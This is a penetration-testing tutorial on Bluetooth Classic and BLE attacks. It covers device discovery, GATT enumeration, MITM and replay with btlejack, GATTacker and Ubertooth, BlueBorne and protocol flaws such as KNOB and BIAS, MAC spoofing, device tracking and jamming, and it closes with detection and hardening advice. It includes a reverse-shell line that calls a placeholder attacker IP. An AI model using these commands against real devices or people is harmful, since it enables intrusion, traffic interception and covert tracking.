Bluetooth & BLE Attacks

Exploiting Bluetooth Classic (BR/EDR) and Bluetooth Low Energy (BLE) — MITM attacks, device tracking, impersonation, and firmware exploitation.

Bluetooth Architecture Overview

Bluetooth is a short-range wireless technology operating in the 2.4 GHz ISM band, designed for device-to-device communication. There are two main variants: Bluetooth Classic (BR/EDR - Basic Rate/Enhanced Data Rate) used for audio streaming and file transfer, and Bluetooth Low Energy (BLE) designed for IoT devices with minimal power consumption.

Understanding the architecture is critical for exploitation. Classic Bluetooth uses frequency hopping across 79 channels to avoid interference, while BLE uses only 40 channels with 3 dedicated advertising channels. BLE's simplified connection process and reduced overhead make it ideal for battery-powered devices but also introduce unique attack vectors through its GATT (Generic Attribute Profile) services.

Bluetooth Classic vs BLE

BLE Security Mechanisms

Reconnaissance & Discovery

Bluetooth reconnaissance is the first step in any attack. Unlike WiFi where you scan for access points, Bluetooth requires discovering individual devices. Classic Bluetooth uses inquiry scanning (devices respond to inquiry requests), while BLE uses passive scanning of advertising packets. Each method has different detection characteristics and stealth implications.

1. Device Discovery

Device discovery reveals nearby Bluetooth devices, their MAC addresses, device names, and often device type (phone, headset, etc.). For Classic Bluetooth, this is an active process—your scan sends inquiry packets that devices respond to. For BLE, you passively listen for advertising packets broadcast by peripherals seeking connections. Modern devices often use MAC address randomization to prevent tracking, changing their address periodically.

# Modern BlueZ (>=5.48): bluetoothctl replaced the deprecated
# hcitool / sdptool / hciconfig utilities.
bluetoothctl
[bluetooth]# scan on        # Classic + BLE discovery
[bluetooth]# devices        # List discovered devices
[bluetooth]# info <MAC>     # Name, RSSI, service UUIDs

# btscanner (GUI)
sudo btscanner

# Bettercap BLE Discovery
sudo bettercap -eval "ble.recon on; sleep 30; ble.show"

# Ubertooth (passive sniffing)
ubertooth-btle -f -c advertising.pcap

2. Service Enumeration

# GATT Service Discovery with bluetoothctl
# (gatttool was removed in BlueZ >=5.48)
bluetoothctl
[bluetooth]# connect <MAC>
[bluetooth]# menu gatt
[bluetooth]# list-attributes
[bluetooth]# select-attribute <UUID>
[bluetooth]# read
[bluetooth]# write <VALUE>

# Bettercap GATT Enum
sudo bettercap
>> ble.recon on
>> ble.enum <MAC>

3. Device Fingerprinting

# Identify device type/manufacturer
bluetoothctl
[bluetooth]# scan on
[bluetooth]# info <MAC>

# OUI Lookup
curl -s "https://api.macvendors.com/<MAC>"

# Advertising data analysis (btmon decodes HCI incl. advertising reports)
sudo btmon

BLE MITM Attacks

Man-in-the-Middle attacks on BLE are particularly powerful because they allow real-time interception and modification of data between two devices. Unlike WiFi MITM which requires being on the same network, BLE MITM involves sniffing the connection establishment (pairing) to extract encryption keys, then using those keys to decrypt all subsequent traffic. This requires specialized hardware like micro:bit or nRF51822 boards.

The challenge: BLE uses frequency hopping with connection-specific hop sequences derived during pairing. To perform MITM, you must capture the initial connection parameters (access address, hop interval, channel map) during the pairing handshake. Once you have these and the encryption keys (if "Just Works" pairing is used, keys are weak), you can follow the connection and inject/modify packets in real-time.

BLE MITM & replay

1. Btlejack - BLE MITM Framework

Btlejack is the de facto tool for BLE security testing. It uses inexpensive micro:bit boards as sniffers and injectors. You need multiple boards to cover the 37 BLE data channels simultaneously. Btlejack can sniff existing connections (if you catch the connection establishment), jam connections to force reconnection, and inject arbitrary packets into active connections.

# Install (requires micro:bit or nRF51822)
pip3 install btlejack

# Sniff connections
sudo btlejack -s

# Follow connection (after sniffing pairing)
sudo btlejack -f <ACCESS_ADDRESS> -c

# Jam and inject
sudo btlejack -j <ACCESS_ADDRESS>
sudo btlejack -m -c <CONNECTION_DATA>

# Export to PCAP
sudo btlejack -f <ACCESS_ADDRESS> -c -o capture.pcap

2. BLE Replay Attacks

# Capture BLE traffic with Ubertooth
ubertooth-btle -f -c capture.pcap

# Analyze with Wireshark
wireshark capture.pcap

# Extract write commands
tshark -r capture.pcap -Y "btatt.opcode == 0x12" \
  -T fields -e btatt.handle -e btatt.value

# Replay the write with bluetoothctl (gatttool was removed in BlueZ >=5.48)
bluetoothctl
[bluetooth]# connect <MAC>
[bluetooth]# menu gatt
[bluetooth]# select-attribute <UUID>
[bluetooth]# write <VALUE>

3. GATTacker Framework

GATTacker is a Node.js BLE MITM/GATT proxy (research tooling — no CVE). It clones the target's MAC (bdaddr), advertises as that device, and proxies GATT reads and writes to the real peripheral, so a victim app talks to GATTacker while believing it is the genuine device. It lives in the securing/gattacker repository.

It is semi-active: it needs a cloned MAC and the victim to reconnect to that address before it can proxy, and it needs two BT4 adapters — a noble-based central and a bleno-based peripheral. It is not a transparent passive MITM of an already-active connection. The usual attack is to clone a device the victim has saved, wait for the automatic reconnect, then relay GATT traffic while optionally modifying it.

git clone https://github.com/securing/gattacker
cd gattacker
npm install

BlueBorne Exploitation

BlueBorne (CVE-2017-0785 and related) is a collection of vulnerabilities in Bluetooth stacks that allow remote code execution without any user interaction. The critical aspect: devices don't need to be paired or even in discoverable mode. If Bluetooth is enabled, they're vulnerable. BlueBorne affects billions of devices across Linux, Android, Windows, and iOS.

The vulnerabilities exploit memory corruption bugs in how Bluetooth stacks parse connection requests and protocol data. An attacker sends specially crafted Bluetooth packets (L2CAP, SDP, BNEP protocols) that trigger buffer overflows or information leaks. Successful exploitation grants full system access—the attacker can install malware, exfiltrate data, or pivot to other network devices. While patches were released in 2017, many IoT and embedded devices remain vulnerable.

BlueBorne Attack Vector

The ArmisSecurity/blueborne repository holds per-platform write-ups and proof-of-concept code for the BlueBorne family (Android CVE-2017-0785, Linux BlueZ CVE-2017-1000251, Windows CVE-2017-8628). Paths differ between revisions — follow the repository README for the current layout.

git clone https://github.com/ArmisSecurity/blueborne

Post-Exploitation

# Once RCE achieved via BlueBorne
# Establish reverse shell
nc -lvnp 4444

# From exploit
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

# Persistence via Bluetooth
# Add malicious service to /etc/bluetooth/rfcomm.conf

Protocol-Level Vulnerabilities

BlueBorne is an implementation bug class; this next group abuses the Bluetooth protocols themselves — the authentication and key-negotiation procedures written into the Core Specification. Because the flaws live in the specification rather than one vendor's code, they affect whole generations of compliant devices, and remediation normally requires a specification erratum plus a firmware update rather than an app patch. These are not remotely triggerable in the BlueBorne sense: most need the attacker within radio range, and the impersonation attacks need a target that has paired with the device being impersonated.

1. BIAS — Bluetooth Impersonation Attacks

BIAS (CVE-2020-10135, CERT VU#647177) lets an attacker impersonate an already-paired BR/EDR device and complete authentication without ever knowing the link key. The impersonation works from either side of the connection — the attacker can pose as the master or the slave — so a target that only checks whether the peer is the device it paired with will accept the connection. The flaw affects Bluetooth Core Specification BR/EDR ≤ 5.2.

The practical impact is a full authentication bypass: once accepted, the attacker can drive the services the legitimate peer was trusted to use, without a malformed packet or a crash. It is a silent, role-binding defect in the legacy authentication procedure. Track it under the AiTM technique, and verify the device firmware carries the vendor's fix rather than trusting a Core-version string alone.

2. KNOB — Key Negotiation Of Bluetooth

KNOB (CVE-2019-9506) is a MitM attack on the entropy negotiation that establishes the encryption key. That negotiation is not integrity-protected, so an attacker in the middle can rewrite the entropy values and force both ends to agree on a 1-byte (8-bit) key. A 256-value keyspace is brute-forced in real time, after which the attacker can decrypt and modify the link. It affects Bluetooth BR/EDR (Classic) ≤ 5.1, and virtually all compliant devices the researchers tested were vulnerable — chipsets from Broadcom, Qualcomm, Apple, Intel and Chicony among them.

The specification fix is Bluetooth Erratum 11838, which enforces a minimum key entropy. Because the erratum has to be back-ported by each vendor, check patch status explicitly — the firmware checklist below carries the KNOB line — and remember that supporting a modern Core version does not by itself prove the downgrade is blocked.

3. BLESA — BLE Spoofing Attacks

BLESA (BLE Spoofing Attacks) targets the BLE reconnection path. When a previously paired device reconnects, the stack does not enforce a fresh authentication procedure, so an attacker who impersonates the known device can feed spoofed data to the victim. Apple assigned CVE-2020-9770 and fixed it in iOS/iPadOS 13.4.

The USENIX WOOT '20 paper that introduced the attack also lists BlueZ (Linux) and Android as affected, but no public CVE was assigned to BlueZ or Android — do not cite one for those platforms. For assessment, the takeaway is that "paired" is not the same as "re-authenticated" on every reconnect, so a device that trusts stale session state on link re-establishment can be spoofed.

4. SweynTooth

SweynTooth is a family of roughly 18 BLE vulnerabilities disclosed in two batches (17 CVEs documented), including CVE-2019-16336, CVE-2019-17519, CVE-2019-17517, CVE-2019-17518 and CVE-2019-17520, among others. Malformed BLE Link-Layer, L2CAP or SMP packets drive a vulnerable stack into a crash or deadlock, a buffer overflow, or a bypass of the secure-pairing procedure.

The defects sit in vendor BLE SDKs rather than the application: batch 1 covers TI, NXP, Cypress, Dialog, Microchip, STMicro and Telink, and batch 2 adds Espressif, ON Semiconductor and Zephyr/nRF. Because the affected code is in the SoC/SDK, an app update rarely helps — the assessment question is which BLE stack revision the device actually ships. Primary source: asset-group.github.io/disclosures/sweyntooth/.

5. BrakTooth

BrakTooth is a family of 16 vulnerabilities tracked as 25 CVEs that abuse Bluetooth Classic. Malformed, oversized or flooded LMP and Baseband (BR/EDR) packets cause either a denial of service — firmware crash or deadlock — or, in one case, code execution. The headline RCE is CVE-2021-28139 on the Espressif ESP32; it requires knowledge of the target's firmware and memory layout, so it is not a blind or universal RCE and should not be presented as one.

Affected chipsets include Espressif ESP32, Intel AX200, Qualcomm WCN3990/CSR, Cypress CYW20735B1, TI CC2564C and Silicon Labs WT32i, among others. Source: asset-group.github.io/disclosures/braktooth/.

Device Impersonation & Spoofing

Bluetooth device impersonation involves cloning or spoofing a legitimate device to trick victims into connecting. This is effective against devices with saved/trusted pairings—users expect their headphones or smartwatch to connect automatically. By spoofing the MAC address and device name of a trusted device, you can intercept connections meant for the legitimate device.

1. MAC Address Spoofing

# Spoof the controller's public address
# (BlueZ retired bdaddr and hciconfig; btmgmt is the current interface)
sudo systemctl stop bluetooth
sudo btmgmt -i hci0 public-addr <TARGET_MAC>
sudo systemctl start bluetooth

# Verify
sudo btmgmt -i hci0 info

2. BLE Device Cloning

bluer is a Python (asyncio/DBus) library for BLE — it has no bluer-scan / bluer-clone CLIs and does not ship a ble_advertise.py script. For cloning a BLE peripheral, use the GATTacker workflow above (scan the target, create a spoofed peripheral, then relay).

pip3 install bluer

3. BLE Beacon Spoofing

The iBeacon payload format is unchanged: 1E 02 01 1A 1A FF 4C 00 02 15 <UUID 16B> <MAJOR 2B> <MINOR 2B> <TX 1B>, where 1E is the length, 02 01 1A are the flags and 1A FF 4C 00 is the Apple vendor IE.

Bluetooth Tracking & Privacy

Bluetooth tracking exploits the fact that most devices constantly broadcast their presence. Even with MAC randomization, devices can often be tracked through timing patterns, advertising data, and manufacturer-specific information. This enables surveillance applications like retail analytics ("How long did customers spend in this aisle?"), stalking, or building occupancy tracking.

1. Device Tracking

# Track devices by address (hcitool was removed in BlueZ >=5.48)
while true; do
  bluetoothctl devices | grep -i <PARTIAL_MAC>
  sleep 2
done

# RSSI is reported by bluetoothctl's scan output and by btmon
bluetoothctl
[bluetooth]# scan on     # [CHG] Device <MAC> RSSI: -50

# Continuous monitoring with timestamps
sudo btmon | tee bluetooth_tracking.log

# Parse and analyze
grep -E "(MAC|RSSI)" bluetooth_tracking.log > tracked_devices.txt

2. BLE Tracking with Kismet

# Install Kismet with Bluetooth support
sudo apt install kismet

# Configure for BLE
sudo kismet -c hci0:type=linuxbluetooth

# Access web interface
# http://localhost:2501

# Export devices
kismetdb_dump_devices --in ~/kismet/Kismet-*.kismet --out devices.json

3. MAC Randomization Detection

Many modern devices use MAC randomization. To tell a randomized address from a static one, check bit 1 of the first octet: DA:XX:XX:XX:XX:XX is random, while 00:XX:XX:XX:XX:XX is static. You can also fingerprint the advertising data — even with a random MAC, UUIDs may remain static.

Decode advertising reports with btmon and correlate with manufacturer data:

sudo btmon | grep -A 10 "Company"

PIN/Pairing Attacks

Bluetooth pairing establishes a trusted relationship between devices using various authentication methods. The weakest method is "Just Works" which has no MITM protection—devices pair without any verification. Other methods like PIN entry (6-digit code) and numeric comparison are stronger but still vulnerable to brute force or social engineering. Once paired, devices store link keys for future authentication.

1. Classic Bluetooth PIN Cracking

# Capture the pairing/SMP exchange with Ubertooth
ubertooth-btle -f -c pairing.pcap

# Inspect the pairing data
tshark -r pairing.pcap -Y "bluetooth.smp.cmd_code"

# Classic (pre-2.1) PIN attacks target the legacy pairing protocol; they are
# not an aircrack-ng wordlist job. Modern Secure Simple Pairing is not
# vulnerable to PIN brute force — its weakness is "Just Works" (no MITM
# protection), which is covered under BLE Just Works MITM below.

2. BLE Just Works MITM

# "Just Works" pairing has no MITM protection
# Exploit with btlejack

# Sniff connection
sudo btlejack -s

# Detected: AA:BB:CC:DD:EE:FF 
# Follow and decrypt (if Just Works used)
sudo btlejack -f 0x12345678 -c -m

# All traffic will be decrypted in real-time

Advanced Tools

Bettercap - All-in-one

# Install
sudo apt install bettercap

# BLE module
sudo bettercap
>> ble.recon on
>> ble.show
>> ble.enum <MAC>
>> ble.write <MAC> <HANDLE> <HEX_VALUE>

# Scripts
>> ble.recon on; sleep 30; ble.show; ble.recon off

Ubertooth One

# Firmware update (specify the .dfu image; --download alone only downloads)
ubertooth-dfu -d bluetooth_rxtx.dfu -r

# Spectrum analysis
ubertooth-specan-ui

# Follow Bluetooth connection
ubertooth-follow -l -t <MAC>

# Passive BLE sniffing
ubertooth-btle -f -c output.pcap

# Active jamming
ubertooth-btle -j

BlueZ Utils

# bluetoothctl - interactive shell
sudo bluetoothctl
[bluetooth]# scan on
[bluetooth]# pair <MAC>
[bluetooth]# connect <MAC>
[bluetooth]# info <MAC>

# l2ping - connectivity test
sudo l2ping <MAC>

# rfcomm - serial connection
sudo rfcomm bind 0 <MAC> 1
sudo rfcomm connect 0 <MAC>

Testing Verification

BLE Security Assessment Checklist

Automated Testing

There is no "securing/blescanner" project. For automated BLE assessment, use the tools covered above (bettercap's BLE module, Gattacker, Btlejack, Ubertooth) and record per target:

• Pairing method (Just Works / Passkey / OOB)
• Encryption status
• GATT service permissions
• Known vulnerable CVEs

Defense & Detection

Detecting BLE Attacks

# Monitor for suspicious BLE activity
# 1. Unexpected devices advertising (hcitool was removed in BlueZ >=5.48)
bluetoothctl
[bluetooth]# scan on     # compare against your known-device list

# 2. Connection attempts
sudo btmon | grep -i "connection"

# 3. RSSI anomalies (MITM device closer)
bluetoothctl
[bluetooth]# scan on     # watch [CHG] Device <MAC> RSSI: values

# 4. Duplicate advertising (spoofing)
sudo btmon | grep -A 5 "Advertising" | grep "Address"

Hardening Bluetooth

# Disable when not needed
sudo systemctl stop bluetooth
sudo systemctl disable bluetooth

# Set non-discoverable / non-pairable (hciconfig was removed in BlueZ >=5.48)
bluetoothctl
[bluetooth]# discoverable off
[bluetooth]# pairable off

# Require authentication for services
# Edit /etc/bluetooth/main.conf
[Policy]
AutoEnable=false

# Pair only with known devices
# Use bluetoothctl to whitelist

# Monitor with auditd
  sudo auditctl -w /var/lib/bluetooth -p wa -k bluetooth_changes

Verify It Worked

Key Takeaways